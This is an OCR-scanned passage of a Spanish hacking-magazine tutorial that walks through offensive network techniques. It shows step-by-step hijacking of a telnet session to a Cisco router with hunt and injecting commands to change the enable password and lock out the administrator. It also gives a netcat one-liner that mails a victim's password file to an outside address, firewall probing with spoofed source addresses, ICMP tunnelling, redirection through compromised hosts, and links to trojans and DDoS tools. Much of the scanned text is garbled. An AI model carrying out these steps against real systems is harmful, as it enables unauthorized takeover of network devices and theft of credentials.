Rotas LAN Managat savrme refiero... a nuestro amigo Cyruxnet,
Role: Master Browser . .
l;laltefﬁern;iun;\server no dejéis de leer este link
latrorm:
dersian 0 http://cyruxnet.com.ar/ettercap.htm

NetBIOS Shares:
Mame: Herramientas Curso Seguridad Remark:

Name: prusbas Remark: Y también, cémo no, en el articulo
Name: 1PC§ Remark: IPC remota 14 de esta revista se inicié una
Type: Interprocess communication {IPC)

Mame: D§ Remark: Recurso predeterminado pra'ctica de Secuestro de Sesiones “a

Type: Special share reserved for interprocess communication (IPC$) or remote administration of the s
Name: ¢ Remark:

mano”, muy rudimentario, pero

Name: Mis documentos Remark: v R s
4 3 efectivo y sobre todo, muy util para
entender como funciona el hijacking

y las comunicaciones TCP, lo podéis descargar

También deberias “probar” xprobe para LiNUX, aqui:

h t tp:// wWww.sSsys - http://www.forohxc.com/hijacking/articulol
security.com/archive/tools/xprobe2/xprobe2- 4/hijaking.pdf

0.2.tar.gz
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Vamos a usar hunt... veamos, primero
pongamonos en situacidn

Resulta que en “"mj red” (una empresa
espafnola) hay un administrador que usa
telnet para acceder de forma remota a un
router de otra red (una delegacion en
Estados Unidos), este administrador
configura ese router remotamente, abre
puertos, incluye ACL’s, etc... Las labores
tipicas en la administracion de un router.

No lo hace todos los dias, pero como es un
administrador que suele ver los logs de vez
en cuando, accede a ese router desde la
empresa situada en Madrid, se trata de un
router cisco 2500 y este administrador,
auque precavido con los logs, se olvida de
que sus comunicaciones no van cifradas y...
aqui entramos nosotros, lo que vamos a
realizar es esperar a que ese admin. Se
conecte al router de EEUU por telnet,
introduzca su password y cuando esté “en
medio de la faena”, llegamos nosotros y le
robamos su sesion, o le inyectamos comandos
para hacernos el control del router remoto,
con lo que podremos comprometer toda la
red de la delegacion de EEUU.

Lo que vamos a realizar es un caso REAL, es
decir, de verdad, de verdad que vamos a
acceder como usuarios privilegiados a un
router cisco 2500 en estados unidos, SIN
SABER ningin nombre de usuario, ni
contraseiia... simplemente le birlaremos la
conexidon a nuestro querido admin. Y nos
haremos con el control del router.

bouncer o para atacar a otros equipos, se nos
caera el pelo, asi que advertidos estais, no
juguéis con esa conexion o tendréis problemas
o simplemente os negaran el acceso.

La IP de nuestro administrador
“precavido” es: 172.28.0.50 y usa un
Windows XP, eso no es importante, da igual
es Sistema Operativo, el caso es que no utilice
cifrado.

La IP del “secuestrador” es: 172.28.0.200
y usa un LINUX RH8, esto si que importa
puesto que hunt sélo esta disponible para
LiNUX.

La ip del router remoto es... bueno, mejor
lo digo al final, asi el ejemplo es completo y
no estaremos “predispuestos” a nada...

El caso es que nuestro admin. Esta trabajando
en el router

cted, § — static. I - IGRP, R — RIP., M
GRP, EX - EIGRP external, O — OSPF. IA

— mohile, B - BGP
— OSPF inter area

Ni — OSPF NSSA external type 1, N2 — OSPF NSSA external type 2
E1 — OSPF external type EGP
. 11

1, E2 - OSPF external type 2, E -
i — I8-18

- I8-IS level-1i, L2 - IS-IS L
U - per DR

tatic route, o - O
ateway of last resort is not set
111.9.9.8/24 i
111.111.111
111.411 112
114441 .143
111.411.144
11.6.8.8-24 i
11.1441.44.
o—mommie-2H#

bnetted, 4 subnets
irectly connected. LoophackB
irectly connected,. Loopbackl
rectly connected, Loopbhack2
rectly connected,. Loopback3
ubnetted, 1 subnets
s directly connected, Ethernet@

evel-2, »* — candidate default

Esta viendo la tabla de rutas y borré los
ultimos octetos de la direcciéon IP para mantener
“el misterio”

Hombre... estaras pensando que menuda
faena para el cisco 2500, bueno, pues no es
asi... muchos conocéis que (a parte de otras
cosas) soy instructor certificado por Cisco
Systems, y esto lo hago en todas mis clases
¥ se trata de un router de verdad, fuera de
Espana de verdad, pero es un laboratorio de
pruebas, no habra problemas ni
recriminaciones, bueno no las habra si nos
limitamos a lo que queremos hacer, si luego
cogemos ese router y lo utilizamos como

No te preocupes si no sabes nada sobre el
funcionamiento de un router cisco, para lo que
vamos a realizar sdlo has de saber que a un
router de estas caracteristicas puedes acceder
como usuario “normal” o como usuario
privilegiado, los usuarios normales pueden ver
algunas configuraciones pero no las pueden
modificar, el usuario privilegiado es el que
tiene control TOTAL sobre le router...

Normalmente el usuario privilegiado tiene
acceso mediante un password, una clave, clave
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que desconocemos entre otras cosas porque
la sesién YA ESTA ESTABLECIDA Yy de lo
que se trata es de secuestrarla.

Lo que vamos hacer es lo siguiente:

Le cambiaremos el nombre al router, el
password del admin. Y luego resetearemos
la conexidon, esto en un router cisco se
hace asi:

end, esta orden regresara al primer nivel
de comandos

configure terminal, abrimos Ila
configuracion del modo global del router

hostname VIC, el router pasara a
Ilamarse VIC en lugar de yo-mommie-2,
esto realmente no interesa puesto que el
administrador entendera rapidamente que
algo paso6, pero es un ejemplo.

enable secret victhor123, cambiamos
el password del usuario privilegiado

end, regresamos al principio

disable, salimos del modo privilegiado,
asi cuando se vuelva a reconectar el
administrador, le pedira el password...
password que ya no sabra...

Y luego desde el propio hunt mataremos
la conexidn, el administrador legitimo la
perderd y cuando se intente /loguear de
nuevo, no podra porque le cambiaron el
pass, obviamente tampoco nos interesara,
si el verdadero administrador no puede
entrar, pedira a EEUU que reseteen el pass
o el router y se mosqueara... podriamos
haber creado un nuevo usuario con
privilegios de administrador... eso seria
mas apropiado... pero, en fin, esto es un
ejemplo...

Pero antes, vamos a ejecutar hunt... y a
configurarlo, lo primero descargarse hunt

http://packetstormsecurity.nl/sniffers
/[hunt/hunt-1.5.tgz

No hay script ./configure... pasamos
directamente a make && make install y lo
lanzaremos desde el directorio de instalacién
que hayas elegido mediante ./hunt

b4 root@ linux-rh8:~/Taller_snort/hunt-1.5
Archivo Editar Ver Temminal [r Ayuda
8 hunt-1.5]# . [+]
Archivo Editar Ver Temminal |r Ayuda
--- options --- rcvpkt 118, free/alloc 63/64 ---——-- [#]

1) list add conn policy
la/m/d) add/mod/del conn policy entry
conn list properties
suggest mac base
host resolving
) reset ACK storm timeout

arp req spoof through req
i) switched environment
y) arp spoof with my mac
learn MAC from IP traffic
/) verbose

simple hijack cmd timeout
arp req/rep packets
number of lines per page
print cntrl chars

De todas estas opciones, para esta practica
debemos cambiar:

r) Reset ACK storm tiemout y ponerlo a 0 (cero)
s) simple hijack cmd timeout también a 0 (cero)
t) arp req spoof throug req, lo cambiamos a no (n)
w) switches environmet, y si tenemos un switch o n si
tenemos un hub

e) learn MAC from IP traffic, lo cambiamos a yes (y)
V) vervose, también lo ponemos a yes (y)

Las Demas las podemos dejar como estan y
se quedara asi:

hd root@ linux-rh8:~/Taller_snort/hunt-1.5

Archivo Editar Ver Terminal |r Ayuda
L-- options --- rcvpkt 274, free/alloc 63/64 —---—- [+l
1) list add conn policy
la/m/d) add/mod/del conn policy entry
c) conn list properties mac n, seq n|
suggest mac base EA:1A:DE:AD:BE: 0
) host resolving n t) arp req spoof through req
) reset ACK storm timeout 0s w) switched environment

simple hijack cmd timeout Os y) arp spoof with my mac
arp req/rep packets 2 e) learn MAC from IP traffic
number of lines per page v) verbose

i) print cntrl chars y]
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y por ultimo pulsamos x para regresar
(return) al menu principal.

bd root@linux-rh8:~/Taller_snortyhunt-1.5

Archivo Editar Ver Terminal Ir Ayuda

1/w/r) list/watch
host up te:
arp/simple

simple hijack]
daemons rst/a

3

Aunque podemos secuestrar la sesidon de
varias formas, hasta convertir a hunt en un
sniffer o usar técnicas de arp-spoofing (ver
revista nimero 11, articulo dsniff) yo lo
voy a explicar de otra manera, vamos a
configurar el demonio sniff (opcién d) y
veremos esto:

bd root®linux-rh8:~/Taller_snort/hunt-1.5
Archivo Editar Ver Terminal |r Aluda

--- daemons --- rcvpkt 478, free/alloc 63/64 ------ [=]
reset daemon
arp spoof + arp relayer daemon|
sniff daemon|

mac discovery daemon|
return|

Seleccionamos s, sniff daemon

hd root@linux-rh8:~/Taller_snort/hunt-1.5
Archivo Editar Ver Terminal [r Ayuda
--- sniff daemon --- rcvpkt 567, free/alloc 63/64 ------ [+]
s /k) start/stop sniff daemon|

1) list sniff database
a/m/d) add/mod/del sniff item

Y ahora pulsamos en a y lo configuramos
como sigue:

¢) list sniff connection

o)

X) return|
i|*sniff>

hd root@linux-rh8:~/Taller_snort/hunt-1.5

Archivo Editar Ver Terminal Ir Ayuda

=
sniff daemon --- rcvpkt 656, free/alloc 63/64

s/k) start/stop sniff daemon|

1) list sniff database

a/m/d) add/mod/del sniff item

c) list sniff connection

<

Te recuerdo que la IP del administrador
“precavido” era la 172.28.0.50, /16 es la
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mascara de subred (255.255.0.0) y el
puerto por el que se va a conectar es 23
(telnet), si tu red/subred y mascaras son
diferentes cambia esos valores, Lo demas lo
pones como esta.

Después de configurarlo, pulsas en s (start
daemon) y x para regresar al menu
anterior, y de nuevo x para llegar hasta el
menu principal.

Si todo fue bien, desde el menu principal pulsa
I (list) para ver las conexiones establecidas
por la maquina 172.28.0.50

hd root@ linux-rh8:~/Taller_snort/hunt-1.5
Archivo Editar Ver Temminal Ir Ayuda

Vale, ya esta desvelado el “secreto”, la IP a
la que se conecta es 64.7.18.193, conectado
al puerto 23 y desde el puerto dinamico, en
el ejemplo es: 2525...

Ahora pulsaremos en s (simple hijack) y
secuestraremos la sesion, escribiremos los
comandos como si estuviésemos frente al
router 2500 de cisco y resetearemos la
conexion.

Pulsamos en s y elegimos la conexidn, sélo
hay una que esla 0

hd root@linux-rh8:~/Taller_snort/hunt-1.5

Archivo Editar Ver Terminal Ir Ayuda

--- Main Menu --- rcvpkt 11343, free/alloc 63/64 ---S---
droppkt 0, other proto pkt 0
) list/watch/reset connections]
host up tests|]
simple hijack (avoids ack storm if arp used)
simple hi
daemons

/arp/sniff/mac|

Seleccionamos 0 como conexién, n en dump
y los comandos que deseamos...
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hd root@linux-rh8:~/Taller_snort/hunt-1.5

Archivo Editar Ver Temminal |r A!Uda

choose conn> 0]
idump connection y/n [n]>
Enter the command string you wish executed or
[Enter the command string you wish executed or
Enter the command string you wish executed or
[Enter the command string you wish executed or
[Enter the command string you wish executed or
[Enter the command string you wish executed or
Enter the command string you wish executed or
[r]eset connection/[s]ynchronize/[n]one [r]>

[cr]> ena secre victhorl2
[er]> host
[cr]> end
[er]>
[er]>

[rleset connection/[s hronize/[n]one [r]>

--- Main Menu --- rcvpkt 15559, free/alloc 63/64 ---5---
droppkt 0, other proto pkt 0
1/w/r) list/watch/reset connections|
host up tests|
arp/simple hijack (aveids ack storm if arp used)
simple hijack]
daemons rst/arp/sniff/mac u

|

Al verdadero administrador le habra pasado
esto en su linea de comandos... perdera la
conexion.

ev C:AWINDOWS\System32\cmd.exe

ip route
d, 8 - static. I — IGRP, R — RIP, M — mobile, B - BGP
» EX - EIGRP external, 0 — OSPF, 1A — OSPF inter area
NSSA external type 1, N2 — OSPF NSSA external ty]le 2
nal type 1, E2 - OSPF external type 2, E -
- 1S-18 level-1, L2 — IS-IS level-2, * — candxdate default
U — per—user static route. o — ODR

IGateway of last resort is not set
111.0.08.0/24 is subnetted, 4 subnets
111.111.111.08 is directly connected,
111.111.112.8 is directly connected,
111.111.113.8 is directly connected. Loophack2
111.111.114.8 is directly connected. Loophack3
11.8.8.8-24 is subnetted, 1 subnets
11.11.11.8 is directly connected. Ethernet®
lyo—mommie—2#

Loopback®
Loopbackl

Se ha perdido la conexién con el host.

IC:\Documents and Settings\Uictor>

Cuando vuelva a reconectarse, podra pensar
que fue un error provocado por cualquier
cosa, nada anormal... le pasara esto otro:

e Telnet 64.7.18.193

Once at the CanSul prompt. execute 'sk » "w" to see what router is
L already. telnet to router 2.
o back and forth from Rl to

r g
ConSull)l tn go to Routerl or ConSvril2 to

router 1, R??7-1. Then, if y
RT7-2.

2 After that, use the
R2 via the console server. i
lgo to Router2.
sue a BREAK to power cycle the router. then
to get into the ROM monitor,
hen “b". Please see our ueb
rd recovery.

site, wwu.rlr2.com,. for fun:hez del:a

Press RETURN to get started.

Lo primero que ve, es que “su router” YA NO
SE LLAMA yo-mommie-2, sino VIC... y su
password... YA NO VALE...
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Luego, nosotros... desde nuestro equipo
hacemos un telnet a la IP del router y
accederemos sin problemas, enable y el pass
victhor123 y se acabd...

Esto que acabamos de hacer es un ejemplo,
obviamente no interesa cambiarle el pass,
lo suyo hubiera sido hacer “otras cosas”,
mapear un puerto, crear un tunel de conexion,
modificar las ACL’s para poder pasar a la red
interna... vamos que hay bastantes
posibilidades, claro que ademas de hunt
deberiamos saber administrar un router “como
Dios manda” y mas si es un CISCO.... ya que
disponemos del laboratorio de pruebas, iqué
te parece si tras esta serie de articulos
empezamos un curso de administracion
de routers?

Si, si.. de routers CISCO, con routers “de
verdad”, con éste laboratorio disponemos de
hasta 3 routers para trastear, uno para
aprender los mandatos del sistema operativo
de CISCO (IOS) e incluso, si nos registramos
como se debe, podemos tener acceso a otros
recursos y a mas routers, bueno, si os interesa
espero vuestras ideas y comentarios por los
foros de hackxcrack.

Por si no os acordais &
http://www.hackxcrack.com/index.php

Firewalking:

Firewalking es “tantear” un firewall, intentar
“pasar” o al menos, descubrir los puertos que
filtra y si se puede, atravesarlo, lo de siempre...
hay infinidad de ellas, expondré tres:

hping, icmpenum y firewalk
HPING
Es un descriptor de paquetes TCP/IP y podemos
usarlo para probar las ACL's de un router y/o

firewall.

http://www.hping.org/hping2.0.0-rc3.tar.gz

Por ejemplo, veamos como funciona..
haremos un ping a un servidor

. primero

PC PASO A PASO N° 22



Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls

d root@linux-rh8:~
Archivo Editar Ver Temminal |Ir Aiuda

[root@linux-rh8 root]# ping -c2 www.arsys.es

PING www.arsys.es (217.76.128.63) from 172.28.0.200 : 56(84) bytes of data.
--- www.arsys.es ping statistics ---

2 packets transmitted, O received, 100% loss, time 999ms

[root@linux-rh8 root]#

b root@linux-rh8:~/Taller_snort/icmpenum-1.1.1

Archivo Editar Ver Terminal Ir Ayuda

[root@linux-rh8 icmpenum-1.1.1]# ping -c2 172.28.0.50
PING 172.28.0.50 (172.28.0.50) from 172.28.0.200 : 56(84) bytes of data.

--- 172.28.0.50 ping statistics —--
2 packets transmitted, O received, 100% loss, time 1012ms

Eant@linux—rhs icmpenum-1.1.1]#

Sin respuesta, ahora probemos con hping
hacia el puerto 80

hd root@ linux-rh8:~

Archivo Editar Ver Terminal Ir Ayuda

[root@linux-rh8 root]# hping2 www.arsys.es -c 2 -S -p 80 -n [#]
HPING www.arsys.es (ethO 217.76.128.63): S set, 40 headg 0 data bytes

len=46 ip=217.76.128.63 ttl=118 DF id=18247 sport=go eq=0 win=65535 T
tt=133.8 ms

len=46 ip=217.76.128.63 ttl=118 DF 1d=18393 sport=80!
tt=135.2 ms

eq=1 win=65535 r

--- www.arsys.es hping statistic ---

2 packets tramitted, 2 packets received, 0% packet loss

round-trip min/avg/max = 133.8/134.5/135.2 ms

Euut@linux-rhs root]# 3

En los circulos rojos observaras que la sefial
TCP recibida es SA (SYN+ACK) que es
sintoma de que el servicio esta abierto... si
hubiésemos recibido un RA (RST+ACK) el
servicio estaria cerrado, incluso podemos
encontrarnos con respuestas del tipo 13
(Prohibido por el administrador) sintoma de
que el puerto esta filtrado o contiene una
ACL.

ICMPENUM

http://www.bindview.com/Resources/RAZ0O
R/Files/icmpenum-1.1.1.tgz

Es una herramienta que utiliza paquetes del
tipo TIMESTAMP o ICMP INFO, en lugar de
los habituales ICMP ECHO e ICMP REPLY.
(nuestros queridos ping y pong)

Es habitual encontrarse routers y/o firewalls
que no bloquean todo el trafico ICMP, bien
por desconocimiento o por desidia de su
administrador, es decir, el router esta
configurado para rechazar los ping de redes
externas, pero no tiene filtros para otros
paquetes ICMP.

Con esto el administrador “piensa” que los
pings que hagan a su router seran rechazados,
y no le falta razén, veamos un ejemplo contra
un router:
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Ahora vamos a probar que pasa si le enviamos
una solicitud ICMP del tipo TIMESTAMP

hd root@linux-rh8:~/Taller_snort/icmpenum-1.1.1

Archivo Editar Ver Temminal Ir Ayuda

[root@linux-rh8 icmpenum-1.1.1]# ./icmpenum -i 2 -s 1.1.1.1 -p -v 172.28.0.50
listening for replies on eth0: 172.28.0.0

172.28.0.50 is up

Sent 40 bytes for 172.28.0.50

Total expected packets received : 1

Total unexpected packets received : 0

[root@linux-rh8 icmpenum-1.1.1]# I

Il

Observa que se utilizé —s 1.1.1.1 eso permite
falsear la IP que solicita la peticion (spoofing)
y la opciéon =p que pondra la interface eth0
en modo promiscuo, -i 2 es la solicitud
TIMESTAMP, para mas informacion ejecuta
un ./icmpenum -h

Para comprobar los resultados puse a tcpdump
a trabajar antes de enviar la peticidn

hd r00t@ linux-rh8:~

Archivo Editar Ver Terminal Ir A!uda
[root@linux-rh8 root]# tcpdump [=]
tcpdump: listening on etho

:35:33, :_dcmp: m]

19:35:33.142103 arp who-has 172.28.0.1 tell toshiba

19:35:33.142756 arp reply 172.28.0.1 is-at 0:c0:49:d4:5f:cd
T35:33. oshiba > T.T.T T icmp:

€403 xmit 0x285c403

19:35:33.143065

5 packets received by filter Q

0 packets dropped by kernel
Euut@linuxrrhs root]#

Configuracidn avanzada

Resaltado en azul
se muestra el
envio... y en rojo
la respuesta...
realmente no se
trata de un
router, es un

Servicios | Registro de seguridad: ICMP

1CMP (Protocolo de mensajes de control de Intemet) permite a los
equipos de una red compartir informacicn de estado y enores.
Seleccione las solicitudes de informacién de Intemet a las que este
equipo responderd: 1
(m itud de eco entrante
d de maica de hora entrante:
O Pemitir solicitud de mascara de entiante
O Permitir solicitud de enrutador entrante
[ Permitir destino inalcanzable saliente
p ort a’ ti | con XP y O Pe!m!l!l paquete de conltol de lIu:q (source quench) saliente
O Pemitir problema de pardmetro saliente

activado el [ Pemitir tiempo excedido saliente

. O Permitic redireccion
Firewall] =
denegando el
trafico ICMP pero
permitiendo los

TIMESTAMP.

Descripcién:
Una copia de los mensajes enviados a este equipo se enviaran

de vuelta al emisor. Esto se usa comUnmente para solucionar
problemas; por ejemplo, para hacer ping a un equipo.
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No es que sea el mejor de los ejemplos, pero
seguro que lo “ves” mas claro que si te pongo
una ACL extendida del router... para el caso,
seria lo mismo

Si vas a utilizar icmpenum, necesitaras las
librerias libpcap (como en tantas otras, al
final os pondré todas las librerias vy
dependencias que se necesitan para las
utilidades que estamos viendo) y también el
compilador gcc, para generar el ejecutable
icmpenum deberds compilarlo del siguiente
modo:

gcc 'libnet-config —defines’ -o icmpenum icmpenum.c -Inet —Ipcap
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FIREWALK

Cuanto menos es una herramienta “curiosa”,
ingeniosa en su funcionamiento... la
encontraréis en:

http://www.packetfactory.net/firewalk/dist/firewalk.tar.gz

Y necesita dependencias de libnet, libpcap
y libdnet, instalatelas en ese orden y las
puedes encontrar en estos enlaces:

http://www.packetfactory.net/libnet/dist/libnet.tar.gz

http://www.tcpdump.org/

http://libdnet.sourceforge.net/

firewalk permite determinar el conjunto de
reglas de un dispositivo de filtrado de paquetes
como puede ser un router o un firewall,
asignando una red “por detras” del firewall
que rechace o admita dichos paquetes...

Para ello hay que conocer dos cosas:

P La IP del Firewall o la IP conocida del Gltimo salto.
P La IP del host que queremos escanear.

La primera direccion IP se utiliza como
trampolin (ramping) y la ultima es el objetivo
a escanear.

Con un ejemplo lo veremos mas claro,
supongamos (que no es asi) que uno de los
servidores de practicas de hackxcrack dispone
de un firewall que filtra los accesos a la red,
cuando escaneamos una IP de dentro de esa
red, nos encontramos que el firewall rechaza
esos intentos, asi que veamos como usar este
programita..

Por un lado tenemos la IP a escanear:
62.57.101.243, esta serd el objetivo.

Y por otro el firewall, este no lo sabemos...
bueno, lo simularemos... hagamos un
traceroute a esa IP a ver que sale.

hd r00t@ linux-rh8:~ 7 7 7

Archivo Editar  Ver Terminal Ir Ayuda

[root@linux-rh8 root]# traceroute 62.57.101.243
traceroute to 62.57.101.243 (62.57.101.243), 30 hops max, 38 byte packets

1 172.28.0.1 (172.28.0.1) 1.095 ms 2.226 ms 1.512 ms

2 itmdel3.lo.nuria.telefonica-data.net (213.0.186.32) 119.734 ms 115.391 ms 114.966 ms,

3 213.0.240.81 (213.0.240.81) 113.946 ms 131.851 ms 115.403 ms

4 213.0.254.198 (213.0.254.198) 138.659 ms 138.148 ms 133.623 ms

5 tmespl-tmpenl.nuria.telefonica-data.net (213.0.251.113) 111.347 ms 112.291 ms 115.76

6 193.149.0.22 (193.149.0.22) 109.693 ms 112.742 ms 110.273 ms

7 =

8 74-96-100-62.libre.auna.net (62.100.96.74) 121.775 ms 122.542 ms 124.243 ms

9 ==
Ecut@linux—rhs root]# | E

Hice trampas... realmente la salida de
traceroute “hay mas” pero como esto es un
ejemplo, la corté en la linea 9.

El caso es que si fuese un caso real, podemos
suponer que el host 62.100.96.74 es el router
o firewall que protege a la red/host
62.57.101.243, nuestro objetivo.

Lo que vamos a hacer es escanear ese host
usando como trampolin la propia IP del firewall,
nuestra herramienta enviara paquetes con un
tiempo de vida (TTL) justo antes de caducar,
por lo que las respuestas que obtenga seran
servicios activos en ese host.

Para no eternizarnos con el escaneo,
probaremos los puertos 23, 25y 80, aunque
podrian ser mas... pero vale, un ejemplo es
un ejemplo:

d root@linux-rh8:~ Z = O X
Archivo Editar Ver Terminal |r Ayuda
[root@linux-rh8 root]# firewalk -n -523,25,80 -pTCP 62.100.96.74 62.57.101.243 [a]

Firewalk 5.0 [gateway ACL scanner]

Firewalk state initialization completed successfully.
ITCP-based scan.

Ramping phase source port: 53, destination port: 334;4
Hotfoot through 62.100.96.74 using 62.57.101.243 as a metric.
IRamping Phase:

1 (TTL 1): expired [172.28.0.1]

(TIL 2): expired [213.0.186.32]

(TTL 3): expired [213.0.240.81]

(TTL 4): expired [213.0.240.81]

(TIL 5): expired [213.0.254.198]

(TTL 6): expired [213.0.251.113]

(TTL 7): expired [193.149.0.10]

(TTL 8): *no response*

9 (TTL 9): expired [62.100.96.74]

Binding host reached.

Scan bound at 10 hops.

Scanning Phase:

lport 23: *no response*

port 25: *no response*

lport 80: A! open (port listen) [62.57.101.243]

@ N Ve wWN

Scan completed successfully.

Total packets sent:

Total packet errors:

Total packets caught

Total packets caught of interest
Total ports scanned

Total ports oven:

)

- wo oo R
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Bien, esta claro... nuestra maquina objetivo
tiene al menos el puerto 80 abierto.

De todos modos, no te fies mucho de
firewalk, como utiliza paquetes a punto de
caducar, algunos routers calculan que el
paquete caducara en el proximo salto antes
de probar la ACL y responderan con un ICMP
TTL EXPIRED, con lo que firewalk supondra
que todos los puertos estan abiertos.

Tuneles y redirectores

Esta seria otra seccién para hacer una revista
enterita... para utilizar una conexién tunelizada
0 un bouncer, se ha de comprometer
anteriormente la seguridad del equipo
“puente”, es decir, los redirectores de puertos
se utilizan como “tercero en discordia” entre
la comunicacién entre dos host.

Sin embargo, a veces, no es preciso disponer
de esa tercera maquina, como veremos en
alguno de los ejemplos, que si bien son
inocentes, nos daran una idea de lo peligroso
y atrevido de alguna de estas utilidades.

Para explicar estas técnicas elegi: loki, lokid,
netcat, datapipe, fpipe, rinetd y bnc

NETCAT

Bufff, esta no voy a decir ddénde Ia
encontraréis... no creo que haga mucha falta.

Vamos a crear un tunel con netcat para que
cuando un usuario se conecte a la maquina
comprometida envie un mail con el contenido
de un archivo.... supongamos que de una
forma u otra, sabemos que existe un archivo
llamado claves en el directorio /vic, ese
archivo es propiedad de un usuario y
sospechamos que en él anota las diferentes
contrasefias que usa...

puede ser el uso de redirectores, tuneles y
sistemas configurados por defecto, no encriptar
archivos “sensibles”..

Imaginemos que en el equipo victima hemos
conseguido que ejecute esta orden:

nc -1 -p 4455 | mail vic_thor@forohxc.com < /vic/claves

Y supongamos que el firewall de la victima
deja pasar las conexiones por el puerto 4455...
cuando el “atacante” se conecte a ese puerto
recibird un mail con el contenido del archivo
/vic/claves, veamos:

hd root@linux-rh8:~/Taller_snort/Xnetcat
Archivo Editar Ver Terminal |r Aluda
[root@linux-rh8 Xnetcat]# ./nc -1 -p4455 | mail vic_thor@forohxclive.org < /vic/claves [+]

Ahora desde el equipo “atacante” nos
conectamos a la victima por el puerto 4455

WINDOWS\System 32\cmd. exe

IC:\Documents and Settings\Uictor>telnet 172.28.0.2088 4455

Usamos telnet, pero podriamos usar otro
netcat, asi: nc —-w3 172.28.0.200 4455

Si usaste telnet, sera necesario un CTRL.+C
para terminar la comunicacion, si usaste netcat
se desconectara solito a los 3 segundos
(-w3)

El caso es que de un modo u otro, cuando
leamos nuestro correo, veremos el contenido
de ese archivo “deseado”

Inbox: 1 de 1 Mover | Copiar | &ste mensaje
Eliminar | Responder | Responder a todos | Reenviar | Redirigir | Reanudar | Guardar como Reqresar a Inbox
Fecha Tue, 8 Jun 2004 22:39:44 +0200
De 100t <root@localhost localdomain> &

Para vic_thor@forohxclive org &
Asunto [Sin asunto)
Partes i (uente)
Correo pacata33
Dominie platano34
Router tomatedd
ForoHxC lechugaéé I
Eliminar | Responder | Responder a todos | Reenviar | Redirigir | Reanudar | Guardar como Regresar a Inbox

Mover | Copiar | £3te mensaje

Repito, es un ejemplo inocente, de facil
descubrimiento y de dificil éxito, puesto que
se han de dar muchas circunstancias a nuestro
favor, pero es indicativo de lo grave que
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LOKI Y LOKID

Estas herramientas enmascaran bajo trafico
ICMP otro tipo de trafico, cualquier dispositivo
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de filtrado que permita el paso del trafico
ICMP y UDP sin verificar el contenido de dichos
paquetes son vulnerables a ello.

Para iniciar le servidor lokid, puedes usar
esta sintaxis:

lokid -p -I -v 1

Y luego desde el cliente:

loki —d ip.del.servidor -p -I -v 1 -t 3
Podrds encontrar loki y loki2 (lokid) en las
listas de discusion de phcrack y en la web

de packetstorm,

http://www.phcrack.org

http://packetstormsecurity.org/crypt/applied-crypto/loki-3.0.tar.gz

http://packetstormsecurity.org/crypt/misc/loki2.tar.gz

No le vamos a dar mas juego a esto que ya
no andamos con mucho espacio mas y en la
Revista numero 8 de esta publicacion dispones
de un articulo sobre reverse shell que explica
con detalle estas técnicas y se utilizan scripts
en perl que realizan funciones parecidas a
loki y lokid, pero por el puerto 80.
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Y para Windows, no hay nada similar para
Windows?

Pues si, pero ya sabes, casi todas estan
clasificadas como troyanos o virus, encontrar
una que no lo sea es una suerte, sin embargo
os pondré dos link’s a nuestros foros, son
troyanos... ya.... pero estan suficientemente
explicados y nos daran una idea de lo peligroso
que son.

El primero es muy ingenioso, no precisa
establecer comunicacién extremo a extremo
entre cliente y servidor como lo hacen
normalmente, ademas es un arma potente
en la denegacién de servicios distribuidos
(DDoS)

http://www.hackxcrack.com/phpBB2/viewtopic.php?t=15257

El segundo es una puerta trasera, ligera y que
dio que hablar en su momento,

http://www.hackxcrack.com/phpBB2/viewtopic.php?t=7534

Por cierto, ese hilo me trae recuerdos... es el
resultado de una charla que se organizd en
un IRC, tras las “explicaciones” pasamos a
“las practicas”, para ello dispuse de varios
equipos de pruebas y en total hubo casi cien
comunicaciones simultaneas (algunos hacian

mas de una, que lo veia %)

El caso es que se utilizé una conexién médem,
si, si, de 56kb nada mas.... y utilicé un bouncer
(un redirector de puertos) para que unos
accediesen a un equipo y otros a otro...
concretamente fue rinetd y fpipe, bueno y
otro con GUI para probar.

Un ejemplo practico usando rinetd....

Puedes encontrar distribuciones tanto para
LiINUX como para Windows en:

http://www.boutell.com/rinetd/

Su funcionamiento es muy simple, precisa de
un archivo de configuraciéon (un archivo de
texto) y el programa en si mismo.

Supongamos que en nuestra red existe un
firewall que filtra el acceso a un servidor web
corporativo por IP’s, es decir, si huestra IP es
la 172.28.0.50 cuando intentamos acceder a
dicho servidor nos niega el acceso, porque
esa IP no esta permitida.

Aunque hay muchas otras formas de saltarse
esa limitacion, pongamos que deseamos usar
un redirector, imaginemos que una de las IP’s
permitidas es la 172.28.0.9 y la IP del servidor
Web al que queremos acceder es 172.28.0.200,
primero nos creamos un archivo de texto:

r

[ Sin titulo - Bloc de notas
Archivo Edicion Formato VYer
172.28.0.9 3344 172.28.0.200 8Q|

Ayuda
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Lo guardamos con el nombre redire.txt, por
ejemplo....

Ahora copiamos el archivo rinetd.exe y el
archivo redire.txt a la maquina
“comprometida”, es decir, a la maquina con
IP 172.28.0.9

Y lo ejecutamos asi:
rinetd —c redire.txt

En ese momento la maquina 172.28.0.9 esta
escuchando peticiones por el puerto 3344 y
cuando le lleguen, redireccionara esa misma
peticién hacia la IP 172.28.0.200 por el puerto
80, que es el servidor web...

El servidor web o el firewall entendera que
la peticion la hace la maquina 172.28.0.9
cuando realmente seremos nosotros... ah!!!
Que como lo hago... pues muy facil... desde
nuestro equipo, el que no tiene acceso a ese
servidor web... abrimos el navegador y en la
barra de direcciéon escribimos:
http://172.28.0.9:3344

Esto no es mas que un ejemplo, repito lo
dicho antes de comenzar esta seccion, para
que los tuneles, redirectores, troyanos, etc...
Surtan efecto, primero hay que comprometer
esa tercera maquina en discordia.

Otros redirectores como fpipe, bnc, pptunel,
etc... No precisan de archivo de configuracion
externo, hay muchos por la red, basta que
hagas una busqueda en google para que te
salgan miles... elige uno ligero y “probado”

%

Stress-test y DoS

Estamos terminando... esta sera nuestra ultima
(o pentltima) seccidn... y una de las mas
interesantes a la hora de probar nuestros
dispositivos de filtrado de paquetes.

Desde el punto de vista de un administrador,
es muy importante probar la estabilidad del
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firewall, de las listas de acceso, de su
comportamiento en general, para que cuando
vengan los problemas y los ataques tengamos
“cierta seguridad” en como van a ser
respondidos...

Como siempre tenemos multitud de
herramientas para probar esto, yo me voy a
centrar en unas pocas y luego te invitaré a
probar otras tantas...

Estas son:

Nemesis, que ya fue comentada en el
articulo 18 de esta revista y que aqui
la usaremos para envenenar la caché ARP
de alguna maquina de nuestra LAN.

Macof que forma parte de la suite de
dsniff, también se comentaron en nimeros
anteriores, concretamente en la Revista
numero 11 dentro del articulo de Intrusion
en redes locales, nosotros vamos a usarlas
para provocar un DoS a equipos concretos
